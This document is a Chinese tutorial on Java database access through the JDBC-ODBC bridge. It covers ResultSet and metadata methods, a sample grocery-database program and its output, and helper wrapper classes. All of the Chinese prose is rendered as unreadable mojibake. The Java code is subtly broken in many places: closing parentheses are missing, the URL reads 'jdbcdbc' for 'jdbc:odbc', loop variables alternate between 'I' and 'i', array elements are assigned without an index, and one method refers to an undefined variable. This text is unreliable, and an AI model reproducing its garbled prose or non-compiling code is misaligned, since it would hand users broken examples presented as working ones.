Ë«»÷ ODBC ͼ±ê£¬È»ºóµ¥»÷¡°Ìí¼Ó¡±£¬Èçͼ 1 Ëùʾ¡£È»ºóÑ¡ÔñÊý¾Ý¿âÇý¶¯³ÌÐò£¨´Ë´¦Ê¹Óà Microsoft Access£©£¬È»ºóµ¥»÷¡°È·¶¨¡±¡£ÔÚ¡°Êý¾ÝÔ´Ãû¡±ºÍ¡°ÃèÊö¡±Öзֱð¼üÈëÊý¾ÝÔ´Ãû³Æ (Groceries) ºÍÊý¾Ý¿â˵Ã÷ (Grocery prices)£¨ÕâÁ½Ï²»ÐèÒªºÍÎļþÃûÏà¹Ø£©£¬È»ºóµ¥»÷¡°Ñ¡È¡¡±£¬ÕÒµ½Êý¾Ý¿â£¬²¢Ñ¡Ôñ¸ÃÊý¾Ý¿â¡£ÕÒµ½¸ÃÊý¾Ý¿âºó£¬ÆÁÄ»½«Èçͼ 2 Ëùʾ¡£µ¥»÷¡°È·¶¨¡±£¬È»ºóµ¥»÷¡°¹Ø±Õ¡±À´¹Ø±ÕÃæ°å¡£


ͼ 1£ºODBC ¿ØÖÆÃæ°åÉèÖÃÆÁÄ»¡£


ͼ 2£ºÔÚ ODBC ¿ØÖÆÃæ°åÖÐÑ¡ÔñÊý¾Ý¿âºÍ˵Ã÷¡£



Á¬½ÓÊý¾Ý¿â
ËùÓÐÓëÊý¾Ý¿âÓйصĶÔÏóºÍ·½·¨¶¼ÔÚ java.sql °üÖУ¬Òò´ËÔÚʹÓà JDBC µÄ³ÌÐòÖбØÐë¼ÓÈë "import java.sql.* "¡£ JDBC ÒªÁ¬½Ó ODBC Êý¾Ý¿â£¬Äú±ØÐëÊ×ÏȼÓÔØ JDBC-ODBC ÇÅÇý¶¯³ÌÐò
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver";

¸ÃÓï¾ä¼ÓÔØÇý¶¯³ÌÐò£¬²¢´´½¨¸ÃÀàµÄÒ»¸öʵÀý¡£È»ºó£¬ÒªÁ¬½ÓÒ»¸öÌض¨µÄÊý¾Ý¿â£¬Äú±ØÐë´´½¨ Connect ÀàµÄÒ»¸öʵÀý£¬²¢Ê¹Óà URL Óï·¨Á¬½ÓÊý¾Ý¿â¡£
String url = "jdbcdbc:Grocery prices";
Connection con = DriverManager.getConnection(url);

Çë×¢Ò⣬ÄúʹÓõÄÊý¾Ý¿âÃûÊÇÄúÔÚ ODBC ÉèÖÃÃæ°åÖÐÊäÈëµÄ¡°Êý¾ÝÔ´¡±Ãû³Æ¡£
URL Óï·¨¿ÉÄÜÒòÊý¾Ý¿âÀàÐ͵IJ»Í¬¶ø±ä»¯¼«´ó¡£

jdbc:subprotocol:subname

µÚÒ»×é×Ö·û´ú±íÁ¬½ÓЭÒ飬²¢ÇÒʼÖÕÊÇ jdbc¡£»¹¿ÉÄÜÓÐÒ»¸ö×ÓЭÒ飬ÔÚ´Ë´¦£¬×ÓЭÒé±»Ö¸¶¨Îª odbc¡£Ëü¹æ¶¨ÁËÒ»ÀàÊý¾Ý¿âµÄÁ¬Í¨ÐÔ»úÖÆ¡£Èç¹ûÄúÒªÁ¬½ÓÆäËü»úÆ÷ÉϵÄÊý¾Ý¿â·þÎñÆ÷£¬¿ÉÄÜÒ²ÒªÖ¸¶¨¸Ã»úÆ÷ºÍÒ»¸ö×ÓĿ¼£º
jdbc:bark//doggie/elliott

×îºó£¬Äú¿ÉÄÜÒªÖ¸¶¨Óû§ÃûºÍ¿ÚÁ×÷ΪÁ¬½Ó×Ö·û´®µÄÒ»²¿·Ö£º
jdbc:bark//doggie/elliot;UID=GoodDog;PWD=woof

·ÃÎÊÊý¾Ý¿â
Ò»µ©Á¬½Óµ½Êý¾Ý¿â£¬¾Í¿ÉÒÔÇëÇó±íÃûÒÔ¼°±íÁеÄÃû³ÆºÍÄÚÈݵÈÐÅÏ¢£¬¶øÇÒÄú¿ÉÒÔÔËÐÐ SQL Óï¾äÀ´²éѯÊý¾Ý¿â»òÕßÌí¼Ó»òÐÞ¸ÄÆäÄÚÈÝ¡£¿ÉÓÃÀ´´ÓÊý¾Ý¿âÖлñÈ¡ÐÅÏ¢µÄ¶ÔÏóÓУº

DatabaseMetaData ÓйØÕû¸öÊý¾Ý¿âµÄÐÅÏ¢£º±íÃû¡¢±íµÄË÷Òý¡¢Êý¾Ý¿â²úÆ·µÄÃû³ÆºÍ°æ±¾¡¢Êý¾Ý¿âÖ§³ÖµÄ²Ù×÷¡£
ResultSet ¹ØÓÚij¸ö±íµÄÐÅÏ¢»òÒ»¸ö²éѯµÄ½á¹û¡£Äú±ØÐëÖðÐзÃÎÊÊý¾ÝÐУ¬µ«ÊÇÄú¿ÉÒÔÈκÎ˳Ðò·ÃÎÊÁС£
ResultSetMetaData ÓÐ¹Ø ResultSet ÖÐÁеÄÃû³ÆºÍÀàÐ͵ÄÐÅÏ¢¡£

¾¡¹Üÿ¸ö¶ÔÏó¶¼ÓдóÁ¿µÄ·½·¨ÈÃÄú»ñµÃÊý¾Ý¿âÔªËصļ«ÎªÏêϸµÄÐÅÏ¢£¬µ«ÔÚÿ¸ö¶ÔÏóÖж¼Óм¸ÖÖÖ÷ÒªµÄ·½·¨Ê¹Äú¿É»ñµÃÊý¾ÝµÄ×îÖØÒªÐÅÏ¢¡£È»¶ø£¬Èç¹ûÄúÏ£Íû¿´µ½±È´Ë´¦¸ü¶àµÄÐÅÏ¢£¬½¨ÒéÄúѧϰÎĵµÒÔ»ñµÃÆäÓà·½·¨µÄ˵Ã÷¡£

ResultSet
ResultSet ¶ÔÏóÊÇ JDBC ÖÐ×îÖØÒªµÄµ¥¸ö¶ÔÏó¡£´Ó±¾ÖÊÉϽ²£¬ËüÊǶÔÒ»¸öÒ»°ã¿í¶ÈºÍδ֪³¤¶ÈµÄ±íµÄÒ»ÖÖ³éÏó¡£¼¸ºõËùÓеķ½·¨ºÍ²éѯ¶¼½«Êý¾Ý×÷Ϊ ResultSet ·µ»Ø¡£ResultSet °üº¬ÈÎÒâÊýÁ¿µÄÃüÃûÁУ¬Äú¿ÉÒÔ°´Ãû³Æ·ÃÎÊÕâЩÁС£Ëü»¹°üº¬Ò»¸ö»ò¶à¸öÐУ¬Äú¿ÉÒÔ°´Ë³Ðò×ÔÉ϶øÏÂÖðÒ»·ÃÎÊ¡£ÔÚÄúʹÓà ResultSet ֮ǰ£¬±ØÐë²éѯËü°üº¬¶àÉÙ¸öÁС£´ËÐÅÏ¢´æ´¢ÔÚ ResultSetMetaData ¶ÔÏóÖС£
¡¡

//´ÓÔªÊý¾ÝÖлñµÃÁÐÊý
ResultSetMetaData rsmd;
rsmd = results.getMetaData();
numCols = rsmd.getColumnCount();


µ±Äú»ñµÃÒ»¸ö ResultSet ʱ£¬ËüÕýºÃÖ¸ÏòµÚÒ»ÐÐ֮ǰµÄλÖá£Äú¿ÉÒÔʹÓà next() ·½·¨µÃµ½ÆäËûÿһÐУ¬µ±Ã»Óиü¶àÐÐʱ£¬¸Ã·½·¨»á·µ»Ø false¡£ÓÉÓÚ´ÓÊý¾Ý¿âÖлñÈ¡Êý¾Ý¿ÉÄܻᵼÖ´íÎó£¬Äú±ØÐëʼÖÕ½«½á¹û¼¯´¦ÀíÓï¾ä°üÀ¨ÔÚÒ»¸ö try ¿éÖС£

try
{
rsmd = results.getMetaData();
numCols = rsmd.getColumnCount();
boolean more = results.next();
while (more)
{
for (I = 1; I <= numCols; i++)
System.out.print(results.getString(i)+" ";
System.out.println();
more = results.next();
}
results.close();
}
catch(Exception e)
{System.out.println(e.getMessage());}

Äú¿ÉÒÔ¶àÖÖÐÎʽ»ñÈ¡ ResultSet ÖеÄÊý¾Ý£¬ÕâÈ¡¾öÓÚÿ¸öÁÐÖд洢µÄÊý¾ÝÀàÐÍ¡£ÁíÍ⣬Äú¿ÉÒÔ°´ÁÐÐòºÅ»òÁÐÃû»ñÈ¡ÁеÄÄÚÈÝ¡£Çë×¢Ò⣬ÁÐÐòºÅ´Ó 1 ¿ªÊ¼£¬¶ø²»ÊÇ´Ó 0 ¿ªÊ¼¡£ResultSet ¶ÔÏóµÄһЩ×î³£Ó÷½·¨ÈçÏÂËùʾ¡£

getInt(int);

½«ÐòºÅΪ int µÄÁеÄÄÚÈÝ×÷ΪÕûÊý·µ»Ø¡£
getInt(String);

½«Ãû³ÆΪ String µÄÁеÄÄÚÈÝ×÷ΪÕûÊý·µ»Ø¡£
getFloat(int);

½«ÐòºÅΪ int µÄÁеÄÄÚÈÝ×÷Ϊһ¸ö float ÐÍÊý·µ»Ø¡£
getFloat(String);

½«Ãû³ÆΪ String µÄÁеÄÄÚÈÝ×÷Ϊ float ÐÍÊý·µ»Ø¡£
getDate(int);

½«ÐòºÅΪ int µÄÁеÄÄÚÈÝ×÷ΪÈÕÆÚ·µ»Ø¡£
getDate(String);

½«Ãû³ÆΪ String µÄÁеÄÄÚÈÝ×÷ΪÈÕÆÚ·µ»Ø¡£
next();

½«ÐÐÖ¸ÕëÒƵ½ÏÂÒ»ÐС£Èç¹ûûÓÐÊ£ÓàÐУ¬Ôò·µ»Ø false¡£
close();

¹Ø±Õ½á¹û¼¯¡£
getMetaData();

·µ»Ø ResultSetMetaData ¶ÔÏó¡£

ResultSetMetaData
ÄúʹÓà getMetaData() ·½·¨´Ó ResultSet ÖлñÈ¡ ResultSetMetaData ¶ÔÏó¡£Äú¿ÉÒÔʹÓô˶ÔÏó»ñµÃÁеÄÊýÄ¿ºÍÀàÐÍÒÔ¼°Ã¿Ò»ÁеÄÃû³Æ¡£

getColumnCount();

·µ»Ø ResultSet ÖеÄÁÐÊý¡£
getColumnName(int);

·µ»ØÁÐÐòºÅΪ int µÄÁÐÃû¡£
getColumnLabel(int);

·µ»Ø´ËÁаµº¬µÄ±êÇ©¡£
isCurrency(int);

Èç¹û´ËÁаüº¬´øÓлõ±Òµ¥Î»µÄÒ»¸öÊý×Ö£¬Ôò·µ»Ø true¡£
isReadOnly(int);

Èç¹û´ËÁÐΪֻ¶Á£¬Ôò·µ»Ø true¡£
isAutoIncrement(int);

Èç¹û´ËÁÐ×Ô¶¯µÝÔö£¬Ôò·µ»Ø true¡£ÕâÀàÁÐͨ³£Îª¼ü£¬¶øÇÒʼÖÕÊÇÖ»¶ÁµÄ¡£
getColumnType(int);

·µ»Ø´ËÁÐµÄ SQL Êý¾ÝÀàÐÍ¡£ÕâЩÊý¾ÝÀàÐÍ°üÀ¨
BIGINT
BINARY
BIT
CHAR
DATE
DECIMAL
DOUBLE
FLOAT
INTEGER
LONGVARBINARY
LONGVARCHAR
NULL
NUMERIC
OTHER
REAL
SMALLINT
TIME
TIMESTAMP
TINYINT
VARBINARY
VARCHAR
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:27
DatabaseMetaData
DatabaseMetaData ¶ÔÏó¿ÉΪÄúÌṩÕû¸öÊý¾Ý¿âµÄÐÅÏ¢¡£ÄúÖ÷ÒªÓÃËü»ñÈ¡Êý¾Ý¿âÖбíµÄÃû³Æ£¬ÒÔ¼°±íÖÐÁеÄÃû³Æ¡£ÓÉÓÚ²»Í¬µÄÊý¾Ý¿âÖ§³Ö²»Í¬µÄ SQL ±äÌ壬Òò´Ë£¬Ò²ÓжàÖÖ·½·¨²éѯÊý¾Ý¿âÖ§³ÖÄÄЩ SQL ·½·¨¡£

getCatalogs()

·µ»Ø¸ÃÊý¾Ý¿âÖеÄÐÅϢĿ¼ÁÐ±í¡£Ê¹Óà JDBC-ODBC Bridge Çý¶¯³ÌÐò£¬Äú¿ÉÒÔ»ñµÃÓà ODBC ×¢²áµÄÊý¾Ý¿âÁÐ±í¡£ÕâºÜÉÙÓÃÓÚ JDBC-ODBC Êý¾Ý¿â¡£
getTables(catalog, schema, tableNames, columnNames) ·µ»Ø±íÃûÓë tableNames Ïà·û¶øÇÒÁÐÃûÓë columnNames Ïà·ûµÄËùÓбíµÄ˵Ã÷¡£
getColumns(catalog, schema, tableNames, columnNames) ·µ»Ø±íÃûÓë tableNames Ïà·û¶øÇÒÁÐÃûÓë columnNames Ïà·ûµÄËùÓбíÁÐ˵Ã÷¡£
getURL();

»ñµÃÄúËùÁ¬½ÓµÄ URL Ãû³Æ¡£
getDriverName();

»ñµÃÄúËùÁ¬½ÓµÄÊý¾Ý¿âÇý¶¯³ÌÐòµÄÃû³Æ¡£

»ñÈ¡ÓйرíµÄÐÅÏ¢
Äú¿ÉÒÔʹÓà DataBaseMetaData µÄ getTables() ·½·¨À´»ñÈ¡Êý¾Ý¿âÖбíµÄÐÅÏ¢¡£Õâ¸ö·½·¨ÓÐÈçÏ 4 ¸ö String ²ÎÊý£º
results =
dma.getTables(catalog, schema, tablemask, types[]);

ÆäÖвÎÊýµÄÒâÒåÊÇ£º

catalog

ÒªÔÚÆäÖвéÕÒ±íÃûµÄĿ¼Ãû¡£¶ÔÓÚ JDBC-ODBC Êý¾Ý¿âÒÔ¼°Ðí¶àÆäËûÊý¾Ý¿â¶øÑÔ£¬¿É½«ÆäÉèÖÃΪ null¡£ÕâЩÊý¾Ý¿âµÄĿ¼Ïîʵ¼ÊÉÏÊÇËüÔÚÎļþϵͳÖеľø¶Ô·¾¶Ãû³Æ¡£
schema

Òª°üÀ¨µÄÊý¾Ý¿â¡°·½°¸¡±¡£Ðí¶àÊý¾Ý¿â²»Ö§³Ö·½°¸£¬¶ø¶ÔÁíһЩÊý¾Ý¿â¶øÑÔ£¬Ëü´ú±íÊý¾Ý¿âËùÓÐÕßµÄÓû§Ãû¡£Ò»°ã½«ËüÉèÖÃΪ null¡£
tablemask

Ò»¸öÑÚÂ룬ÓÃÀ´ÃèÊöÄúÒª¼ìË÷µÄ±íµÄÃû³Æ¡£Èç¹ûÄúÏ£Íû¼ìË÷ËùÓбíÃû£¬Ôò½«ÆäÉèΪͨÅä·û %¡£Çë×¢Ò⣬SQL ÖеÄͨÅä·ûÊÇ % ·ûºÅ£¬¶ø²»ÊÇÒ»°ã PC Óû§µÄ * ·ûºÅ¡£
types[]

ÕâÊÇÃèÊöÄúÒª¼ìË÷µÄ±íµÄÀàÐ굀 String Êý×é¡£Êý¾Ý¿âÖÐͨ³£°üÀ¨Ðí¶àÓÃÓÚÄÚ²¿´¦ÀíµÄ±í£¬¶ø¶Ô×÷ΪÓû§µÄÄúûʲô¼ÛÖµ¡£Èç¹ûËüÊÇ¿ÕÖµ£¬ÔòÄú»áµÃµ½ËùÓÐÕâЩ±í¡£Èç¹ûÄú½«ÆäÉèΪ°üº¬×Ö·û´®¡°TABLES¡±µÄµ¥ÔªËØÊý×飬Äú½«½ö»ñµÃ¶ÔÓû§ÓÐÓõıí¸ñ¡£

ÓÃÓÚ´ÓÊý¾Ý¿âÖлñÈ¡±íÃûµÄ¼òµ¥´úÂëÏ൱ÓÚ»ñÈ¡ DatabaseMetaData ¶ÔÏ󣬲¢´ÓÆäÖмìË÷±íÃû£º


con = DriverManager.getConnection(url);
//»ñÈ¡Êý¾Ý¿âµÄÔªÊý¾Ý
dma =con.getMetaData();
//½«Êý¾Ý¿âÖеıíµÄÃû³Æת´¢³öÀ´
String[] types = new String[1];
types[0] = "TABLES"; //ÉèÖòéѯÀàÐÍ
//Çë×¢ÒâͨÅä·ûÊÇ % ·ûºÅ£¨¶ø²»ÊÇ¡°*¡±£©
results = dma.getTables(null, null, "%", types);

È»ºó£¬ÎÒÃÇ¿ÉÒÔ´òÓ¡³ö±íÃû£¬ÕýÈçÎÒÃÇÉÏÃæËù×öµÄÄÇÑù£º

boolean more = results.next();
while (more)
{
for (I = 1; I <= numCols; i++)
System.out.print(results.getString(i)+" ";
System.out.println();
more = results.next();
}

ÈçÇ°ÎÄËùÊö£¬½«ËùÓдúÂë°üÀ¨ÔÚ try ¿éÖС£
Ö´ÐÐ SQL ²éѯ
ÎÒÃÇÒѾ­Àí½âÁË JDBC µÄ»ù±¾¶ÔÏó£¬ÏÖÔھͿÉÒÔÖ´ÐÐ SQL ²éѯÁË¡£²éѯÊÇ×÷Ϊ Statement ¶ÔÏóµÄ·½·¨Ö´Ðеģ¬ÄúºÜÈÝÒ×´Ó Connection ¶ÔÏó»ñµÃStatement¶ÔÏó£º
String query = "SELECT FoodName FROM Food;";
ResultSet results;
try
{
Statement stmt = con.createStatement();
results = stmt.executeQuery(query);
}
catch (Exception e)
{System.out.println("query exception";}

Çë×¢Ò⣬Õâ¸ö¼òµ¥µÄ²éѯ·µ»Ø Food ±íÖеÄÕû¸ö FoodName ÁС£ÄúʹÓÃÏñÕâÑùµÄ¼òµ¥²éѯ»ñÈ¡Õû¸öÁеÄÄÚÈÝ¡£Çë×¢Ò⣬²éѯµÄ²éѯ±¾ÉíÊÇÒ»¸ö ResultSet£¬Äú¿ÉÒÔÓÃÎÒÃÇÉÏÃæ¸ÕÌÖÂÛ¹ýµÄ·½·¨¶ÔËü½øÐд¦Àí¡£
´òÓ¡ ResultSet
ÒòΪÎÒÃÇ×ÜÊÇÒª´Ó ResultSets ÖдòÓ¡Êý¾Ý£¬ÎÒÃÇ¿ÉÒÔÉè¼ÆÒ»ÖÖ¼òµ¥µÄ·½·¨£¬½«Õû¸ö ResultSet ת´¢³öÀ´£¬°üÀ¨±íÃû³ÆÔªÊý¾Ý¡£¸Ã×Ó³ÌÐòÈçÏÂËùʾ£º
private void dumpResults(String head)
{
//ÕâÊÇ´òÓ¡ÁбêÍ·ºÍÿÁеÄÄÚÈݵÄ
//ͨÓ÷½·¨
System.out.println(head);
try
{
//´ÓÔªÊý¾ÝÖлñÈ¡ÁÐÊý
rsmd = results.getMetaData();
numCols = rsmd.getColumnCount();
//´òÓ¡ÁÐÃû
for (I = 1; i<= numCols; i++)
System.out.print(rsmd.getColumnName(i)+" ";
System.out.println();
//´òÓ¡ÁÐÄÚÈÝ
boolean more = results.next();
while (more)
{
for (I = 1; I <= numCols; i++)
System.out.print(results.getString(i)+" ";
System.out.println();
more = results.next();
}
}
catch(Exception e)
{System.out.println(e.getMessage());}
}


Ò»¸ö¼òµ¥µÄ JDBC ³ÌÐò
ÎÒÃÇÒѾ­Ñ§Ï°ÁË JDBC µÄËùÓлù±¾¹¦ÄÜ£¬ÏÖÔÚÎÒÃÇ¿ÉÒÔ±àдһ¸ö¼òµ¥µÄ³ÌÐò£¬¸Ã³ÌÐò´ò¿ªÊý¾Ý¿â£¬´òÓ¡ËüµÄ±íÃûÒÔ¼°Ä³Ò»±íÁеÄÄÚÈÝ£¬È»ºó¶Ô¸ÃÊý¾Ý¿âÖ´Ðвéѯ¡£´Ë³ÌÐòÈçÏÂËùʾ£º
import java.net.URL;
import java.sql.*;
import java.util.*;
class JdbcOdbc_test
{
ResultSet results;
ResultSetMetaData rsmd;
DatabaseMetaData dma;
Connection con;
int numCols, I;
//--
public JdbcOdbc_test()
{
String url = "jdbcdbc:Grocery prices";
String query = "SELECT DISTINCTROW FoodName FROM Food " + "WHERE (FoodName like ¡äC%¡ä);";
try
{
//¼ÓÔØ JDBC-ODBC ÇÅÇý¶¯³ÌÐò
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver";
//Á¬½ÓÊý¾Ý¿â
con = DriverManager.getConnection(url);
//»ñÈ¡Êý¾Ý¿âµÄÔªÊý¾Ý
dma =con.getMetaData();
System.out.println("Connected to:"+dma.getURL());
System.out.println("Driver "+dma.getDriverName());
//½«Êý¾Ý¿âÖеıíµÄÃû³Æת´¢³öÀ´
String[] types = new String[1];
types[0] = "TABLES";
//Çë×¢ÒâͨÅä·ûÊÇ % ·ûºÅ£¨¶ø²»ÊÇ¡°*¡±£©
results = dma.getTables(null, null, "%", types);
dumpResults("--Tables--";
results.close();
}
catch (Exception e)
{System.out.println(e);}
//»ñÈ¡±íÁеÄÃû³Æ
System.out.println("--Column Names--";
try {
results =
dma.getColumns(null, null, "FoodPrice", null);
ResultSetMetaData rsmd = results.getMetaData();
int numCols = rsmd.getColumnCount();
while (results.next() )
String cname = results.getString("COLUMN_NAME";
System.out.print(cname + " ";
System.out.println();
results.close();
}
catch (Exception e)
{System.out.println(e);}
//ÁгöÒ»¸öÁеÄÄÚÈÝ -- ÕâÊÇÒ»¸ö²éѯ
try {
Statement stmt = con.createStatement();
results =
stmt.executeQuery("SELECT FOODNAME FROM FOOD;";
}
catch (Exception e)
{System.out.println("query exception";}
dumpResults("--Contents of FoodName column--");
//³¢ÊÔʵ¼ÊµÄ SQL Óï¾ä
try
{
Statement stmt = con.createStatement();
results = stmt.executeQuery(query);
}
catch (Exception e)
{System.out.println("query exception");}
dumpResults("--Results of Query--");
}

¸Ã³ÌÐò´òÓ¡³öµÄ½á¹ûÈçÏÂËùʾ£º
C:\Projects\objectJava\chapter19>java JdbcOdbc_test
Connected to:jdbcdbc:Grocery prices
Driver JDBC-ODBC Bridge (ODBCJT32.DLL)
--Tables--
TABLE_QUALIFIER TABLE_OWNER TABLE_NAME TABLE_TYPE REMARKS
groceries null Food TABLE null
groceries null FoodPrice TABLE null
groceries null Stores TABLE null
--Column Names--
FSKey StoreKey FoodKey Price
--Contents of FoodName column--
FOODNAME
Apples
Oranges
Hamburger
Butter
Milk
Cola
Green beans
--Results of Query--
FoodName
Cola

¹¹½¨¸ü¸ß¼¶±ðµÄ JDBC ¶ÔÏó
´ÓÉÏÃæµÄÀý×Ó¿ÉÒÔÃ÷ÏÔ¿´³ö£¬Èç¹û¿ÉÒÔ½«ÎÒÃÇʹÓùýµÄһЩ·½·¨·â×°ÔÚ¼¸¸ö¸ü¸ß¼¶±ð¶ÔÏóÖУ¬Äǽ«·Ç³£ÓаïÖú£¬ÎÒÃDz»½ö¿ÉÒÔ·â×° try ³ÌÐò¿é£¬¶øÇÒ¿ÉÒÔ¸ü¼òµ¥µØ·ÃÎÊ ResultSet ·½·¨¡£
ÔÚÕâÒ»²¿·ÖÖУ¬ÎÒÃǽ«¹¹½¨Ò»¸öÐ嵀 resultSet ¶ÔÏ󣬸öÔÏó·â×°ÁË JDBC ResultSet ¶ÔÏ󣬲¢ÒÔ String Êý×éµÄÐÎʽ·µ»ØÒ»ÐÐÊý¾Ý¡£ÎÒÃÇ·¢ÏÖÄúʼÖÕÐèÒª´Ó ResultSetMetaData ¶ÔÏóÖлñÈ¡ÁеÄÐòºÅºÍÃû³Æ£¬Òò´Ë£¬´´½¨Ò»¸ö·â×°ÔªÊý¾ÝµÄжÔÏó¾Í·Ç³£ºÏÀí¡£

ÁíÍ⣬ÎÒÃǾ­³£ÐèÒª°´Ãû³Æ»òÕûÊýË÷ÒýÌáȡijÐеÄÔªËØ£¬Èç¹û²»±Ø×ÜÊǽ«ÕâЩ·ÃÎÊÓï¾ä°üÀ¨ try ¿éÖУ¬Äǽ«´óÓаïÖú¡£×îºóÒ»µã£¬Èç¹ûÎÒÃÇÐèÒªÕûÐеÄÄÚÈÝ£¬Ôò¸ü·½±ãµÄ×ö·¨Êǽ«ÕûÐÐÒÔString Êý×éÐÎʽ·µ»Ø¡£ÔÚÏÂÃæËùʾµÄ resultSet ¶ÔÏóÖУ¬ÎÒÃÇÖÂÁ¦ÓÚʵÏÖÕâЩĿ±ê£º

class resultSet
{
//Õâ¸öÀàÊÇ JDBC ResultSet ¶ÔÏóµÄ¸ü¸ß¼¶³éÏó
ResultSet rs;
ResultSetMetaData rsmd;
int numCols;
public resultSet(ResultSet rset)
{
rs = rset;
try
{
//ͬʱ»ñÈ¡ÔªÊý¾ÝºÍÁÐÊý
rsmd = rs.getMetaData();
numCols = rsmd.getColumnCount();
}
catch (Exception e)
{System.out.println("resultset error"
+e.getMessage());}
}
//--
public String[] getMetaData()
{
//·µ»Ø°üº¬ËùÓÐÁÐÃû»òÆäËûÔªÊý¾ÝµÄ
//Ò»¸öÊý×é
String md[] = new String[numCols];
try
{
for (int i=1; i<= numCols; i++)
md[i-1] = rsmd.getColumnName(i);
}
catch (Exception e)
{System.out.println("meta data error"+
e.getMessage());}
return md;
}
//--
public boolean hasMoreElements()
{
try{
return rs.next();
}
catch(Exception e){return false;}
}
//--
public String[] nextElement()
{
//½«ÐеÄÄÚÈݸ´ÖƵ½×Ö·û´®Êý×éÖÐ
String[] row = new String[numCols];
try
{
for (int I = 1; I <= numCols; i++)
row[i-1] = rs.getString(i);
}
catch (Exception e)
{System.out.println("next element error"+
e.getMessage());}
return row;
}
//--
public String getColumnValue(String columnName)
{
String res = "";
try
{
res = rs.getString(columnName);
}
catch (Exception e)
{System.out.println("Column value error:"+
columnName+e.getMessage());}
return res;
}
//--
public String getColumnValue(int i)
{
String res = "";
try
{
res = rs.getString(i);
}
catch (Exception e)
{System.out.println("Column value error:"+
columnName+e.getMessage());}
return res;
}
//--
public void finalize()
{
try{rs.close();}
catch (Exception e)
{System.out.println(e.getMessage());}
}
}

ͨ¹ý¼òµ¥Ê¹Óà new ²Ù×÷·û¾ÍµØ´´½¨Ò»¸ö ResultSet ¶ÔÏó£¬ÎÒÃǺÜÈÝÒ×½«ÈκΠResultSet ¶ÔÏó·â×°ÔÚ´ËÀàÖУº
ResultSet results = .. //°´Í¨³£µÄ·½·¨»ñµÃResultsSet
//ÀûÓÃËü´´½¨Ò»¸ö¸üÓÐÓõĶÔÏó
resultSet rs = new resultSet(results);

²¢ºÜÈÝÒ×ÔÚÈκΠJDBC ³ÌÐòÖÐʹÓÃÕâ¸ö¶ÔÏó¡£
¹¹½¨Ò»¸ö Database ¶ÔÏó
ÎÒÃÇÑØ 00 Á´ÏòÉÏÒƵÄÁíÒ»²¿·ÖŬÁ¦ÊÇ´´½¨Ò»¸ö Database ¶ÔÏó£¬Ëü½«·â×°ÏÂÁжÔÏóµÄÐÐΪ£ºConnection¡¢Statement ºÍ DatabaseMetaData ¶ÔÏó£¬ ÒÔ¼°ÎÒÃǸոչ¹½¨µÄ SQL ²éѯºÍ resultSet¡£ÎÒÃÇµÄ Database ¶ÔÏóÔÊÐíÎÒÃÇ´´½¨Á¬½Ó¡¢»ñÈ¡±íÃû¡¢ÔÚÊý¾Ý¿âÖÐÒƶ¯ÒÔ¼°¸ü¼òµ¥µØ»ñµÃÐкÍÁеÄÖµ¡£Çë×¢Ò⣬ Execute ·½·¨·µ»ØÒ»¸ö resultSet ¶ÔÏó£¬Äú¿ÉÒÔÖ±½Ó¶ÔËü½øÐвÙ×÷¡£
class Database
{
//ÕâÊÇÒ»¸ö½« JDBC Êý¾Ý¿âµÄËùÓй¦ÄÜ·â×°ÔÚµ¥¸ö¶ÔÏóÖеÄÀà
Connection con;
resultSet results;
ResultSetMetaData rsmd;
DatabaseMetaData dma;
String catalog;
String types[];
public Database(String driver)
{
types = new String[1];
types[0] = "TABLES"; //³õʼ»¯ÀàÐÍ
try{Class.forName(driver);} //¼ÓÔØ JDBC-ODBC ÇÅÇý¶¯³ÌÐò
catch (Exception e)
{System.out.println(e.getMessage());}
}
//--
public void Open(String url, String cat)
{
catalog = cat;
try {con = DriverManager.getConnection(url);
dma =con.getMetaData(); //»ñÈ¡ÔªÊý¾Ý
}
catch (Exception e)
{System.out.println(e.getMessage());}
}
//--
public String[] getTableNames()
{
String[] tbnames = null;
Vector tname = new Vector();
//½«±íÃûÌí¼Óµ½Ò»¸ö Vector ÖУ¬
//ÒòΪÎÒÃDz»ÖªµÀÓжàÉÙ¸ö±í
try {
results =
new resultSet(dma.getTables(catalog, null,
"%", types));

while (results.hasMoreElements())
tname.addElement(results.getColumnValue("TABLE_NAME"));

}
catch (Exception e) {System.out.println(e);}
//½«±íÃû¸´ÖƵ½Ò»¸ö String Êý×éÖÐ
tbnames = new String[tname.size()];
for (int i=0; i< tname.size(); i++)
tbnames = (String)tname.elementAt(i);
return tbnames;
}
//--
public String[] getTableMetaData()
{
// ·µ»Ø±íÀàÐ͵ÄÐÅÏ¢
results = null;
try{
results =
new resultSet(dma.getTables(catalog, null,
"%", types));
}
catch (Exception e)
{System.out.println(e.getMessage());}
return results.getMetaData();
}
//--
public String[] getColumnMetaData(String tablename)
{
//·µ»ØÒ»¸öÁеÄÊý¾Ý
results = null;
try {
results =
new resultSet(dma.getColumns(catalog, null,
tablename, null));
}
catch (Exception e)
{System.out.println(e.getMessage());}
return results.getMetaData();
}
//--
public String[] getColumnNames(String table)
{
//·µ»ØÒ»¸öÁÐÃûÊý×é
String[] tbnames = null;
Vector tname = new Vector();
try {
results =
new resultSet(dma.getColumns(catalog, null,
table, null));
while (results.hasMoreElements() )
tname.addElement(results.getColumnValue("COLUMN_NAME"));
}
catch (Exception e) {System.out.println(e);}
tbnames = new String[tname.size()];
for (int i=0; i< tname.size(); i++)
tbnames = (String)tname.elementAt(i);
return tbnames;
}
//--
public String getColumnValue(String table,
String columnName)
{
//·µ»Ø¸ø¶¨ÁеÄÖµ String res = null;
try
{
if (table.length()>0)
results =
Execute("Select " + columnName +
" from " + table +
" order by "+columnName);
if (results.hasMoreElements())
res = results.getColumnValue(columnName);
}
catch (Exception e)
{System.out.println("Column value error" +
columnName+ e.getMessage());}
return res;
}
//--
public String getNextValue(String columnName)
{
// ʹÓô洢µÄ resultSet
//·µ»Ø¸ÃÁеÄÏÂÒ»¸öÖµ
String res = "";
try
{
if (results.hasMoreElements())
res = results.getColumnValue(columnName);
}
catch (Exception e)
{System.out.println("next value error"+
columnName+ e.getMessage());}
return res;
}
//--
public resultSet Execute(String sql)
{
//¶Ô´ËÊý¾Ý¿âÖ´ÐÐÒ»¸ö SQL ²éѯ
results = null;
try
{
Statement stmt = con.createStatement();
results = new resultSet(stmt.executeQuery(sql));
}
catch (Exception e)
{System.out.println("execute error"+
e.getMessage());}
return results;
}
}

Ò»¸ö¿ÉÊÓ»¯µÄÊý¾Ý¿â³ÌÐò
